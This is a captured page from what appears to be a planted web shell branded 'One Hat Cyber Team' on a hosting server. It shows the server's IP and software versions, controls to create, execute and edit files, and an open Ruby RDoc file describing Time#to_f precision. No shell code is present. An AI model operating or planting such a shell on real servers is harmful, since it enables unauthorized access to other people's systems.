⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
3.0.0
/
system
/
Time
/
Edit File: to_f-i.ri
U:RDoc::AnyMethod[iI" to_f:ETI"Time#to_f;TF:publico:RDoc::Markup::Document:@parts[ o:RDoc::Markup::Paragraph; [ I"?Returns the value of _time_ as a floating point number of ;TI"seconds since the Epoch. ;TI"EThe return value approximate the exact value in the Time object ;TI"Jbecause floating point numbers cannot represent all rational numbers ;TI" exactly.;To:RDoc::Markup::BlankLine o:RDoc::Markup::Verbatim; [I"@t = Time.now #=> 2020-07-20 22:00:29.38740268 +0900 ;TI"0t.to_f #=> 1595250029.3874028 ;TI"(t.to_i #=> 1595250029 ;T:@format0o; ; [ I"CNote that IEEE 754 double is not accurate enough to represent ;TI"6the exact number of nanoseconds since the Epoch. ;TI"*(IEEE 754 double has 53bit mantissa. ;TI"=So it can represent exact number of nanoseconds only in ;TI"=`2 ** 53 / 1_000_000_000 / 60 / 60 / 24 = 104.2` days.) ;TI"<When Ruby uses a nanosecond-resolution clock function, ;TI"Csuch as +clock_gettime+ of POSIX, to obtain the current time, ;TI"MTime#to_f can lost information of a Time object created with +Time.now+.;T: @fileI"time.c;T:0@omit_headings_from_table_of_contents_below0I"time.to_f -> float ;T0[ I"();T@"FI" Time;TcRDoc::NormalClass00
Simpan